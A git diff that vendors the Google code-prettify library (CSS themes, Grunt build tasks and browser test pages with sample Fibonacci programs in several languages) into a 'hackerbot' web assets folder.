+  }
+
+  // iframe
+  var iframe = document.createElement('iframe');
+  iframe.id = theme.name;
+  iframe.name = theme.name;  // theme name retrieved in demo.html
+  iframe.src = 'demo.html';
+  //iframe.src = 'demo.html?' + encodeURIComponent(theme.name);
+
+  // insert into page
+  var container = document.createElement('div');
+  container.className = 'container';
+  container.appendChild(header);
+  if (theme.author) { container.appendChild(attribution); }
+  container.appendChild(iframe);
+  document.body.appendChild(container);
+}
+</script>
+</head>
+
+<body>
+<noscript>This page requires JavaScript</noscript>
+
+<h1>Gallery of themes for
+<a href="https://github.com/google/code-prettify">code prettify</a></h1>
+<p>
+Click on a theme name for a link to the file in revision control.
+Print preview this page to see how the themes work on the printed page.
+</p>
+
+<script type="text/javascript">
+var allThemes = [
+  { name: 'default' },
+  { name: 'desert', author: '<a href="https://code.google.com/u/techtonik@gmail.com/">anatoly techtonik<\/a>' },
+  { name: 'sunburst', author: 'David Leibovic' },
+  { name: 'sons-of-obsidian', author: '<a href="http://CodeTunnel.com/blog/post/71/google-code-prettify-obsidian-theme">Alex Ford<\/a>' },
+  { name: 'doxy', author: 'Robert Sperberg' }
+];
+
+(function () {
+  // Produce an iframe per theme.
+  for (var i = 0, n = allThemes.length; i < n; ++i) {
+    appendThemeIFrame(allThemes[i]);
+  }
+})();
+</script>
+
+</body>
+</html>
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/styles/sons-of-obsidian.css b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/styles/sons-of-obsidian.css
new file mode 100644
index 000000000..7d24f3b47
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/styles/sons-of-obsidian.css
@@ -0,0 +1,118 @@
+/*
+ * Derived from einaros's Sons of Obsidian theme at
+ * http://studiostyl.es/schemes/son-of-obsidian by
+ * Alex Ford of CodeTunnel:
+ * http://CodeTunnel.com/blog/post/71/google-code-prettify-obsidian-theme
+ */
+
+.str
+{
+    color: #EC7600;
+}
+.kwd
+{
+    color: #93C763;
+}
+.com
+{
+    color: #66747B;
+}
+.typ
+{
+    color: #678CB1;
+}
+.lit
+{
+    color: #FACD22;
+}
+.pun
+{
+    color: #F1F2F3;
+}
+.pln
+{
+    color: #F1F2F3;
+}
+.tag
+{
+    color: #8AC763;
+}
+.atn
+{
+    color: #E0E2E4;
+}
+.atv
+{
+    color: #EC7600;
+}
+.dec
+{
+    color: purple;
+}
+pre.prettyprint
+{
+    border: 0px solid #888;
+}
+ol.linenums
+{
+    margin-top: 0;
+    margin-bottom: 0;
+}
+.prettyprint {
+    background: #000;
+}
+li.L0, li.L1, li.L2, li.L3, li.L4, li.L5, li.L6, li.L7, li.L8, li.L9
+{
+    color: #555;
+    list-style-type: decimal;
+}
+li.L1, li.L3, li.L5, li.L7, li.L9 {
+    background: #111;
+}
+@media print
+{
+    .str
+    {
+        color: #060;
+    }
+    .kwd
+    {
+        color: #006;
+        font-weight: bold;
+    }
+    .com
+    {
+        color: #600;
+        font-style: italic;
+    }
+    .typ
+    {
+        color: #404;
+        font-weight: bold;
+    }
+    .lit
+    {
+        color: #044;
+    }
+    .pun
+    {
+        color: #440;
+    }
+    .pln
+    {
+        color: #000;
+    }
+    .tag
+    {
+        color: #006;
+        font-weight: bold;
+    }
+    .atn
+    {
+        color: #404;
+    }
+    .atv
+    {
+        color: #060;
+    }
+}
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/styles/sunburst.css b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/styles/sunburst.css
new file mode 100644
index 000000000..ae06306a4
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/styles/sunburst.css
@@ -0,0 +1,46 @@
+/* Pretty printing styles. Used with prettify.js. */
+/* Vim sunburst theme by David Leibovic */
+
+pre .str, code .str { color: #65B042; } /* string  - green */
+pre .kwd, code .kwd { color: #E28964; } /* keyword - dark pink */
+pre .com, code .com { color: #AEAEAE; font-style: italic; } /* comment - gray */
+pre .typ, code .typ { color: #89bdff; } /* type - light blue */
+pre .lit, code .lit { color: #3387CC; } /* literal - blue */
+pre .pun, code .pun { color: #fff; } /* punctuation - white */
+pre .pln, code .pln { color: #fff; } /* plaintext - white */
+pre .tag, code .tag { color: #89bdff; } /* html/xml tag    - light blue */
+pre .atn, code .atn { color: #bdb76b; } /* html/xml attribute name  - khaki */
+pre .atv, code .atv { color: #65B042; } /* html/xml attribute value - green */
+pre .dec, code .dec { color: #3387CC; } /* decimal - blue */
+
+pre.prettyprint, code.prettyprint {
+	background-color: #000;
+	border-radius: 8px;
+}
+
+pre.prettyprint {
+	width: 95%;
+	margin: 1em auto;
+	padding: 1em;
+	white-space: pre-wrap;
+}
+
+
+/* Specify class=linenums on a pre to get line numbering */
+ol.linenums { margin-top: 0; margin-bottom: 0; color: #AEAEAE; } /* IE indents via margin-left */
+li.L0,li.L1,li.L2,li.L3,li.L5,li.L6,li.L7,li.L8 { list-style-type: none }
+/* Alternate shading for lines */
+li.L1,li.L3,li.L5,li.L7,li.L9 { }
+
+@media print {
+  pre .str, code .str { color: #060; }
+  pre .kwd, code .kwd { color: #006; font-weight: bold; }
+  pre .com, code .com { color: #600; font-style: italic; }
+  pre .typ, code .typ { color: #404; font-weight: bold; }
+  pre .lit, code .lit { color: #044; }
+  pre .pun, code .pun { color: #440; }
+  pre .pln, code .pln { color: #000; }
+  pre .tag, code .tag { color: #006; font-weight: bold; }
+  pre .atn, code .atn { color: #404; }
+  pre .atv, code .atv { color: #060; }
+}
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tasks/aliases.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tasks/aliases.js
new file mode 100644
index 000000000..e67aadf90
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tasks/aliases.js
@@ -0,0 +1,72 @@
+/**
+ * google-code-prettify
+ * https://github.com/google/code-prettify
+ *
+ * @author Amro
+ * @license Apache-2.0
+ */
+
+module.exports = function (grunt) {
+  'use strict';
+
+  var fs = require('fs');
+  var runLanguageHandler = require('./lib/lang-aliases');
+
+  /**
+   * Copy timestamp from source to destination file.
+   * @param {string} src
+   * @param {string} dest
+   * @param {boolean} timestamp
+   */
+  function syncTimestamp(src, dest, timestamp) {
+    if (timestamp) {
+      var stat = fs.lstatSync(src);
+      var fd = fs.openSync(dest, process.platform === 'win32' ? 'r+' : 'r');
+      fs.futimesSync(fd, stat.atime, stat.mtime);
+      fs.closeSync(fd);
+    }
+  }
+
+  /**
+   * Copy file mode from source to destination.
+   * @param {string} src
+   * @param {string} dest
+   * @param {boolean|number} mode
+   */
+  function syncMod(src, dest, mode) {
+    if (mode !== false) {
+      fs.chmodSync(dest, (mode === true) ? fs.lstatSync(src).mode : mode);
+    }
+  }
+
+  // Create copies of language handler files under all registered aliases
+  grunt.registerMultiTask('aliases', 'Create language aliases', function () {
+    var opts = this.options({
+      timestamp: false,
+      mode: false
+    });
+
+    var count = 0;
+    this.filesSrc.forEach(function (src) {
+      // run language handler in sandbox
+      grunt.verbose.subhead('Running ' + src.cyan + ' in sandbox...');
+      var exts = runLanguageHandler(src);
+      grunt.verbose.ok();
+
+      // go over collected extensions
+      exts.forEach(function (ext) {
+        // copy file
+        var dest = src.replace(/\blang-\w+\b/, 'lang-' + ext);
+        grunt.verbose.writeln('Copying ' + src.cyan + ' -> ' + dest.cyan);
+        grunt.file.copy(src, dest);
+
+        // sync timestamp and file mode
+        syncTimestamp(src, dest, opts.timestamp);
+        syncMod(src, dest, opts.mode);
+        count++;
+      });
+    });
+    grunt.log.ok('Copied ' + count.toString().cyan +
+      grunt.util.pluralize(count, ' file/ files'));
+  });
+};
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tasks/gcc.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tasks/gcc.js
new file mode 100644
index 000000000..cd64d29f1
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tasks/gcc.js
@@ -0,0 +1,49 @@
+/**
+ * google-code-prettify
+ * https://github.com/google/code-prettify
+ *
+ * @author Amro
+ * @license Apache-2.0
+ */
+
+module.exports = function (grunt) {
+  'use strict';
+
+  /*
+   * HACK: Custom task to override "closure-compiler:langs" since all lang-*
+   * files are compiled in parallel, launching too many Java processes at once
+   * which easily runs out of memory! This task programmatically creates
+   * separate targets (one file per target) so that lang files are compiled
+   * sequentially (sync) instead of in parallel (async).
+   */
+  grunt.registerMultiTask('gcc', 'Override closure-compiler', function () {
+    // closure-compiler:langs
+    var task = 'closure-compiler';
+    var target = this.target;
+    if (!grunt.task.exists(task)) {
+      grunt.fail.warn(grunt.util.error('Require task "' + task + '".'));
+    }
+
+    // create new targets for each file (one file per target)
+    var count = 0;
+    var opts = this.options();
+    this.files.forEach(function (file, idx) {
+      // simple target config with only: src, dest, and options
+      delete file.orig;
+      file.options = opts;
+
+      // configure new target
+      grunt.config.set([task, target + idx], file);
+      grunt.verbose.writeln('New target ' + (task + ':' + target + idx).cyan);
+      count++;
+    });
+    grunt.log.ok('Configured ' + count.toString().cyan + ' lang targets');
+
+    // remove original multi-file target
+    grunt.config.set([task, target], {});
+
+    // enqueue modified task to run
+    //console.log(grunt.config.get(task));
+    grunt.task.run(task);
+  });
+};
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tasks/lib/lang-aliases.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tasks/lib/lang-aliases.js
new file mode 100644
index 000000000..7272e8299
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tasks/lib/lang-aliases.js
@@ -0,0 +1,92 @@
+/**
+ * google-code-prettify
+ * https://github.com/google/code-prettify
+ *
+ * @author Amro
+ * @license Apache-2.0
+ */
+
+var fs = require('fs');
+var path = require('path');
+var vm = require('vm');
+
+/**
+ * Returns a mock object PR of the prettify API. This is used to collect
+ * registered language file extensions.
+ *
+ * @return {Object} PR object with an additional `extensions` property.
+ */
+function createSandbox() {
+  // collect registered language extensions
+  var sandbox = {};
+  sandbox.extensions = [];
+  // mock prettify.js API
+  sandbox.window = {};
+  sandbox.window.PR = sandbox.PR = {
+    registerLangHandler: function (handler, exts) {
+      sandbox.extensions = sandbox.extensions.concat(exts);
+    },
+    createSimpleLexer: function (sPatterns, fPatterns) {
+      return function (job) {};
+    },
+    sourceDecorator: function (options) {
+      return function (job) {};
+    },
+    prettyPrintOne: function (src, lang, ln) {
+      return src;
+    },
+    prettyPrint: function (done, root) {},
+    PR_ATTRIB_NAME: 'atn',
+    PR_ATTRIB_VALUE: 'atv',
+    PR_COMMENT: 'com',
+    PR_DECLARATION: 'dec',
+    PR_KEYWORD: 'kwd',
+    PR_LITERAL: 'lit',
+    PR_NOCODE: 'nocode',
+    PR_PLAIN: 'pln',
+    PR_PUNCTUATION: 'pun',
+    PR_SOURCE: 'src',
+    PR_STRING: 'str',
+    PR_TAG: 'tag',
+    PR_TYPE: 'typ'
+  };
+  return sandbox;
+}
+
+/**
+ * Runs a language handler file under VM to collect extensions.
+ *
+ * Given a lang-*.js file, runs the language handler in a fake context where
+ * PR.registerLangHandler collects handler names without doing anything else.
+ * This is later used to makes copies of the JS extension under all its
+ * registered language names lang-<EXT>.js
+ *
+ * @param {string} src path to lang-xxx.js language handler
+ * @return {Array<string>} registered file extensions
+ */
+function runLanguageHandler(src) {
+  // execute source code in an isolated sandbox with a mock PR object
+  var sandbox = createSandbox();
+  vm.runInNewContext(fs.readFileSync(src), sandbox, {
+    filename: src
+  });
+
+  // language name
+  var lang = path.basename(src, path.extname(src)).replace(/^lang-/, '');
+
+  // collect and filter extensions
+  var exts = sandbox.extensions.map(function (ext) {
+    // case-insensitive names
+    return ext.toLowerCase();
+  }).filter(function (ext) {
+    // skip self, and internal names like foo-bar-baz or lang.foo
+    return ext !== lang && !/\W/.test(ext);
+  });
+  exts = exts.filter(function (ext, pos) {
+    // remove duplicates
+    return exts.indexOf(ext) === pos;
+  });
+  return exts;
+}
+
+module.exports = runLanguageHandler;
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/debug-ie-compat-matrix.html b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/debug-ie-compat-matrix.html
new file mode 100644
index 000000000..caa58ae47
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/debug-ie-compat-matrix.html
@@ -0,0 +1,133 @@
+<!DOCTYPE html>
+<!-- try removing above doctype to force IE into quirks mode -->
+<html>
+<head>
+<meta charset="utf-8">
+<title>IE quirk/standard modes</title>
+<style type="text/css">
+code { white-space: pre; padding: 0; margin: 0; display: block; }
+#log { white-space: pre; }
+.pass { color: green; }
+.fail { color: red; }
+</style>
+</head>
+
+<body>
+
+<h1>IE Standard/Quirks Modes Test</h1>
+
+<code id="one-line"
+>one short line,</code>
+
+<hr>
+
+<code id="two-lines"
+>one giant leap for
+cross-browser compatibility</code>
+
+<hr>
+
+<code id="two-lines-mutated"
+>two turtledoves
+a partridge in a pear tree
+zero fencepost errors</code>
+
+<hr>
+
+<h2>Results</h2>
+<div id="report">
+<p id="result"></p>
+<p id="log"></p>
+</div>
+
+<script type="text/javascript">
+// Function under test
+function matrix(quirksMode, ieVersion) {
+  var table = {
+    quirks: {
+      '6': '\r',
+      '7': '\r',
+      '8': '\r',
+      '9': '\r',
+      '10': '\n'
+    },
+    standards: {
+      '6': '\r',
+      '7': '\r',
+      '8': '\r',
+      '9': '\n',
+      '10': '\n'
+    }
+  };
+  if ('boolean' !== typeof quirksMode) {
+    throw new Error(quirksMode);
+  } else if ('number' !== typeof ieVersion ||
+      !table.quirks.hasOwnProperty(+ieVersion)) {
+    throw new Error(ieVersion);
+  }
+  return table[quirksMode ? 'quirks' : 'standards'][ieVersion];
+}
+
+// Configuration we're testing.
+//NOTE: IE11 no longer indentifies as MSIE in user agent string
+var quirksMode = document.compatMode === 'BackCompat';
+var ieMajorVersionNumber = navigator.userAgent.match(/MSIE\s(\d+)/) || NaN;
+if (ieMajorVersionNumber) {
+  ieMajorVersionNumber = +ieMajorVersionNumber[1];
+}
+
+(function () {
+  // DOM elements.
+  var oneLine = document.getElementById('one-line');
+  var twoLines = document.getElementById('two-lines');
+  var twoLinesMutated = document.getElementById('two-lines-mutated');
+
+  var originalHeight = twoLinesMutated.offsetHeight;
+
+  // If the matrix cell being tested is correct, the following should
+  // end up true.
+  var pass = false;
+  var reason = 'unknown';
+
+  // The DOM subtree to modify.
+  var textNode = twoLinesMutated.firstChild;
+
+  if (textNode.nodeType !== 3 /* TEXT */ || textNode.nextSibling) {
+    reason = 'unexpected DOM structure';  // Maybe not normalized.
+  } else {
+    // Perform the action we are testing.
+    try {
+      textNode.nodeValue = twoLines.firstChild.nodeValue.replace(
+        /\r\n?|\n/g, matrix(quirksMode, ieMajorVersionNumber));
+    } catch (ex) {
+      reason = ex.toString();
+    }
+
+    // Check it against known good DOM subtrees.
+    if (Math.abs(twoLinesMutated.offsetHeight - twoLines.offsetHeight) <= 1) {
+      pass = true;
+    } else if (Math.abs(twoLinesMutated.offsetHeight - oneLine.offsetHeight) <= 1) {
+      reason = 'newlines not preserved';
+    } else {
+      // offsetHeight should trigger layout, but might not have???
+    }
+  }
+
+  var container = document.getElementById('result');
+  container.className = (pass ? 'pass' : 'fail');
+  container.appendChild(document.createTextNode(pass ? 'PASS' : 'FAIL'));
+  if (!pass) {
+    document.getElementById('log').appendChild(document.createTextNode(
+      'UserAgent = ' + navigator.userAgent +
+      '\nquirksMode = ' + quirksMode +
+      '\nieMajorVersionNumber = ' + ieMajorVersionNumber +
+      '\nheight before = ' + originalHeight +
+      '\nheight after = ' + twoLinesMutated.offsetHeight +
+      '\nheight expected = ' + twoLines.offsetHeight +
+      '\nreason = ' + reason));
+  }
+})();
+</script>
+
+</body>
+</html>
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/extractSourceSpans_test.html b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/extractSourceSpans_test.html
new file mode 100644
index 000000000..60fa520bb
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/extractSourceSpans_test.html
@@ -0,0 +1,146 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta charset="utf-8">
+<title>extractSourceSpans</title>
+<script src="../js-modules/extractSourceSpans.js"></script>
+<script src="https://cdn.rawgit.com/douglascrockford/JSON-js/master/json2.js"></script>
+<script src="shims.js"></script>
+<link rel="stylesheet" type="text/css" href="test_modules.css">
+</head>
+
+<body>
+<h1>Extract Source Spans Test</h1>
+
+<table>
+  <tr><th colspan="3">Test space preserved in PRE</th></tr>
+  <tr>
+    <td class="input"><pre class="testinput"><b>print </b>'Hello '<br>  + '&lt;World&gt;';</pre></td>
+    <td class="golden"><pre>^print ^'Hello '^\n^  + '&lt;World&gt;';^</pre></td>
+    <td class="actual"></td>
+  </tr>
+  <tr><th colspan="3">Test class="nocode"</th></tr>
+  <tr>
+    <td class="input"><pre class="testinput"><span class="nocode">1. </span><b>print </b>'Hello '<br><span class="nocode">2. </span>  + '&lt;World&gt;';</pre></td>
+    <td class="golden"><pre>^print ^'Hello '^\n^  + '&lt;World&gt;';^</pre></td>
+    <td class="actual"></td>
+  </tr>
+  <tr><th colspan="3">Test whitespace normalized in code</th></tr>
+  <tr>
+    <td class="input"><code class="testinput"><b>print </b>'Hello '
+  + '&lt;World&gt;';</code></td>
+    <td class="golden"><pre>^print ^'Hello ' + '&lt;World&gt;';^</pre></td>
+    <td class="actual"></td>
+  </tr>
+  <tr><th colspan="3">Test XMP</th></tr>
+  <tr>
+    <td class="input"><xmp class="testinput">print 'Hello '
+  + '<World>';
+    
^print 'Hello '\n  + '<World>';^
+ + + Test tabs + +
print 'Hello '
+	+ '<World>';
+
^print 'Hello '\n\t+ '<World>';^
+ + + Test number lines output + +
  • print 'Hello '
  • + '<World>';
+
^print ^'Hello '^\n^  + '<World>';^^
+ + + + +
+

Log

+
+ + + + + diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/ie-newline-copy-paste.html b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/ie-newline-copy-paste.html new file mode 100644 index 000000000..bfd601def --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/ie-newline-copy-paste.html @@ -0,0 +1,150 @@ + + + + +IE Newline Copy/Paste Info Gathering + + + + + +

IE newline copy/paste

+ +

+I'm trying to squash, once and for all, the problems with newlines in +<PRE>s in IE. I can't run all versions of IE, so I'd +really appreciate any help from people who have IE open and running. +See bugs #20, +#104, and +#128 for +reference. +

+ +

+Please copy from START through END below +and paste it into the TEXTAREA below. Then hit +Ctrl-A, Ctrl-C to copy the textarea contents, and paste +that into an email. Please also copy and paste the RESULTS +section below and include it in the email response as well and send it to +me or respond to the discussion +list. +

+ +

+In case you're interested, there are two problems: choosing a way to split +lines that doesn't introduce too few or extra newlines, and a way to make sure +that the resulting code can be copy-pasted into a plain text editors such as +the textarea below. This is my attempt to gather information on both issues +by IE version. +

+ +

Cheers.

+ +
+ +

== START ==

+ +
+ +
before
+[manual CR]
+after
+ +
before
[manual BR]
after
+ +
before
+[manual CR+BR]
+after
+ +
before
+
[manual BR+CR] +
after
+ +

== END ==

+ +
before
+[text]
+after
+ +
+ +

RESULTS

+ +
+ +
+ +

TEXTAREA

+ + + + + + diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/large_input_test.html b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/large_input_test.html new file mode 100644 index 000000000..5c4ff30c7 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/large_input_test.html @@ -0,0 +1,203 @@ + + + + +Tests of Prettifier w/ large data files + + + + + + +

Benchmarks

+
+
+

Results

+
+ + + + + diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/numberLines_test.html b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/numberLines_test.html new file mode 100644 index 000000000..317333f93 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/numberLines_test.html @@ -0,0 +1,135 @@ + + + + +numberLines + + + + + + +

Number Lines Test

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Test Nothing to Split
Hello, World!
  1. Hello, World!
Test Normalized Spaces
Hello, World!
  1. Hello, World!
Test BR
Hello,
World!
  1. Hello,
  2. World!
Test line breaks
Hello,
there
World!
  1. Hello,
  2. there
  3. World!
Test line breaks with followers
Hello,
there
World!
  1. Hello,
  2. there
  3. World!
Test nocode
Hello,
there
World!
  1. Hello,
  2. there World!
Test link
Hello,
there
World!
  1. Hello,
  2. there
  3. World!
Test blank lines
One

Three
  1. One
  2.  
  3. Three
+ +
+

Log

+
+ + + + + diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/prettify_test.html b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/prettify_test.html new file mode 100644 index 000000000..04f55f226 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/prettify_test.html @@ -0,0 +1,1438 @@ + + + + +Code Prettifier + + + + + + + +

Test Results

+
+ +
+ +

Bash

+
#!/bin/bash
+
+# Fibonacci numbers
+# Writes an infinite series to stdout, one entry per line
+function fib() {
+  local a=1
+  local b=1
+  while true ; do
+    echo $a
+    local tmp=$a
+    a=$(( $a + $b ))
+    b=$tmp
+  done
+}
+
+# output the 10th element of the series and halt
+fib | head -10 | tail -1
+
+ +

Bash w/ language specified

+
#!/bin/bash
+
+# Fibonacci numbers
+# Writes an infinite series to stdout, one entry per line
+function fib() {
+  local a=1
+  local b=1
+  while true ; do
+    echo $a
+    local tmp=$a
+    a=$(( $a + $b ))
+    b=$tmp
+  done
+}
+
+# output the 10th element of the series and halt
+fib | /usr/bin/*head -10 | tail -1
+
+ +

Bash special characters

+

Issue #165

+
# Comment
+local $x = ${#x[@]}  # Previous is not a comment
+# A comment
+ +

C

+
+#include <stdio.h>
+
+/* the n-th fibonacci number.
+ */
+unsigned int fib(unsigned int n) {
+  unsigned int a = 1, b = 1;
+  unsigned int tmp;
+  while (--n >= 0) {
+    tmp = a;
+    a += b;
+    b = tmp;
+  }
+  return a;
+}
+
+main() {
+  printf("%u", fib(10));
+}
+
+ +

C w/ language specified

+
+#include <stdio.h>
+
+/* the nth fibonacci number. */
+uint32 fib(unsigned int n) {
+  uint32 a = 1, b = 1;
+  uint32 tmp;
+  while (--n >= 0) {
+    tmp = a;
+    a += b;
+    b = tmp;
+  }
+  return a;
+}
+
+void main() {
+  size_t size = sizeof(wchar_t);
+  ASSERT_EQ(size, 1);
+  printf("%u", fib(10));
+}
+
+#define ZERO 0 /* a
+  multiline comment */
+
+ +

C++

+
+#include <iostream>
+
+using namespace std;
+
+//! fibonacci numbers with gratuitous use of templates.
+//! \param n an index into the fibonacci series
+//! \param fib0 element 0 of the series
+//! \return the nth element of the fibonacci series
+template <class T>
+T fib(unsigned int n, const T& fib0) {
+  T a(fib0), b(fib0);
+  for (; n; --n) {
+    T tmp(a);
+    a += b;
+    b = tmp;
+  }
+  return a;
+}
+
+int main(int argc, char **argv) {
+  cout << fib(10, 1U);
+}
+
+ +

C++ w/ language specified

+
+#include <iostream>
+
+using namespace std;
+
+//! fibonacci numbers with gratuitous use of templates.
+//! \param n an index into the fibonacci series
+//! \param fib0 element 0 of the series
+//! \return the nth element of the fibonacci series
+template <class T>
+T fib(int n, const T& fib0) {
+  T a(fib0), b(fib0);
+  while (--n >= 0) {
+    T tmp(a);
+    a += b;
+    b = tmp;
+  }
+  return a;
+}
+
+int main(int argc, char **argv) {
+  cout << fib(10, 1U);
+}
+
+ +

Java

+
+package foo;
+
+import java.util.Iterator;
+
+/**
+ * the fibonacci series implemented as an Iterable.
+ */
+public final class Fibonacci implements Iterable<Integer> {
+  /** the next and previous members of the series. */
+  private int a = 1, b = 1;
+
+  @Override
+  public Iterator<Integer> iterator() {
+    return new Iterator<Integer>() {
+      /** the series is infinite. */
+      public boolean hasNext() { return true; }
+      public Integer next() {
+        int tmp = a;
+        a += b;
+        b = tmp;
+        return a;
+      }
+      public void remove() { throw new UnsupportedOperationException(); }
+    };
+  }
+
+  /**
+   * the n<sup>th</sup> element of the given series.
+   * @throws NoSuchElementException if there are less than n elements in the
+   *   given Iterable's {@link Iterable#iterator iterator}.
+   */
+  public static <T>
+  T nth(int n, Iterable<T> iterable) {
+    Iterator<? extends T> it = iterable.iterator();
+    while (--n > 0) {
+      it.next();
+    }
+    return it.next();
+  }
+
+  public static void main(String[] args) {
+    System.out.print(nth(10, new Fibonacci()));
+  }
+}
+
+ +

Java w/ language specified

+

(first line shown is line 12)

+
+package foo;
+
+import java.util.Iterator;
+
+/**
+ * the fibonacci series implemented as an Iterable.
+ */
+public final class Fibonacci implements Iterable<Integer> {
+  /** the next and previous members of the series. */
+  private int a = 1, b = 1;
+
+  @Override
+  public Iterator<Integer> iterator() {
+    return new Iterator<Integer>() {
+      /** the series is infinite. */
+      public boolean hasNext() { return true; }
+      public Integer next() {
+        int tmp = a;
+        a += b;
+        b = tmp;
+        return a;
+      }
+      public void remove() { throw new UnsupportedOperationException(); }
+    };
+  }
+
+  /**
+   * the n<sup>th</sup> element of the given series.
+   * @throws NoSuchElementException if there are less than n elements in the
+   *   given Iterable's {@link Iterable#iterator iterator}.
+   */
+  public static <T>
+  T nth(int n, Iterable<T> iterable) {
+    Iterator<? extends T> in = iterable.iterator();
+    while (--n > 0) {
+      in.next();
+    }
+    return in.next();
+  }
+
+  public static void main(String[] args) {
+    System.out.print(nth(10, new Fibonacci()));
+  }
+}
+
+# not a java comment
+# not keywords: static_cast and namespace
+
+ +

JavaScript

+
+/**
+ * nth element in the fibonacci series.
+ * @param n >= 0
+ * @return the nth element, >= 0.
+ */
+function fib(n) {
+  var a = 1, b = 1;
+  var tmp;
+  while (--n >= 0) {
+    tmp = a;
+    a += b;
+    b = tmp;
+  }
+  return a;
+}
+
+document.write(fib(10));
+
+ +

JavaScript Regular Expressions

+

Issue #12

+
+/foo/;  // a slash starting a line treated as a regexp beginning
+"foo".match(/fo+$/);
+// this line comment not treated as a regular expressions
+"foo /bar/".test(/"baz"/);  // test string and regexp boundaries
+var division = /\b\d+\/\d+/g;  // test char sets and escaping of specials
+var allSpecials = /([^\(\)\[\]\{\}\-\?\+\*\.\^\$\/]+)\\/;
+var slashInCharset = /[^/]/g, notCloseSq = /[^\]]/;
+
+// test that slash used in numeric context treated as an operator
+1 / 2;
+1. / x;
+x / y;
+(x) / y;
+1 /* foo */ / 2;
+1 /* foo *// 2;
+1/2;
+1./x;
+x/y;
+(x)/y;
+
+// test split over two lines.  line comment should not fool it
+1//
+/2;
+
+x++/y;
+x--/y;
+x[y] / z;
+f() / n;
+
+// test that slash after non postfix operator is start of regexp
+log('matches = ' + /foo/.test(foo));
+
+// test keyword preceders
+return /a regexp/;
+division = notreturn / not_a_regexp / 2;  // keyword suffix does not match
+
+// & not used as prefix operator in javascript but this should still work
+&/foo/;
+
+extends = /extends/;
+
+ +

JavaScript Regular Expressions w/ language specified

+

Issue #12

+
+/foo/;  // a slash starting a line treated as a regexp beginning
+"foo".match(/fo+$/);
+// this line comment not treated as a regular expressions
+"foo /bar/".test(/"baz"/);  // test string and regexp boundaries
+var division = /\b\d+\/\d+/g;  // test char sets and escaping of specials
+var allSpecials = /([^\(\)\[\]\{\}\-\?\+\*\.\^\$\/]+)\\/;
+var slashInCharset = /[^/]/g, notCloseSq = /[^\]]/;
+
+// test that slash used in numeric context treated as an operator
+1 / 2;
+1. / x;
+x / y;
+(x) / y;
+1 /* foo */ / 2;
+1 /* foo *// 2;
+1/2;
+1./x;
+x/y;
+(x)/y;
+
+// test split over two lines.  line comment should not fool it
+1//
+/2;
+
+x++/y;
+x--/y;
+x[y] / z;
+f() / n;
+
+// test that slash after non postfix operator is start of regexp
+log('matches = ' + /foo/.test(foo));
+
+// test keyword preceders
+return /a regexp/;
+division = notreturn / not_a_regexp / 2;  // keyword suffix does not match
+
+// & not used as prefix operator in javascript but this should still work
+&/foo/;
+
+extends = /extends/;
+
+ +

CoffeeScript

+
+class Animal
+  constructor: (@name) ->
+  move: (meters, loc) ->
+    alert @name + " moved " + meters + "m."
+  travel: (path...) ->
+    for place in path
+      @move place.distance, place.location
+
+class Horse extends Animal
+  ###
+  @param name Horse name
+  @param jumper Jumping ability
+  ###
+  constructor: (name, jumper) ->
+    super name
+    @capable = jumper
+  step: ->
+    alert '''
+          Step,
+          step...
+          '''
+  jump: ->
+    @capable
+  move: (meters, where) ->
+    switch where
+      when "ground"
+        @step()
+        super meters
+      when "hurdle"
+        super meters if @jump()
+
+# Create horse
+tom = new Horse "Tommy", yes
+
+street =
+  location: "ground"
+  distance: 12
+car =
+  location: "hurdle"
+  distance: 2
+
+###
+Tell him to travel:
+1. through the street
+2. over the car
+###
+tom.travel street, car
+
+ +

Perl

+
+#!/usr/bin/perl
+
+use strict;
+use integer;
+
+# the nth element of the fibonacci series
+# param n - an int >= 0
+# return an int >= 0
+sub fib($) {
+  my $n = shift, $a = 1, $b = 1;
+  ($a, $b) = ($a + $b, $a) until (--$n < 0);
+  return $a;
+}
+
+print fib(10);
+
+ +

Python

+
+#!/usr/bin/python2.4
+
+def fib():
+  '''
+  a generator that produces the elements of the fibonacci series
+  '''
+
+  a = 1
+  b = 1
+  while True:
+    a, b = a + b, a
+    yield a
+
+def nth(series, n):
+  '''
+  returns the nth element of a series,
+  consuming the earlier elements of the series
+  '''
+
+  for x in series:
+    n = n - 1
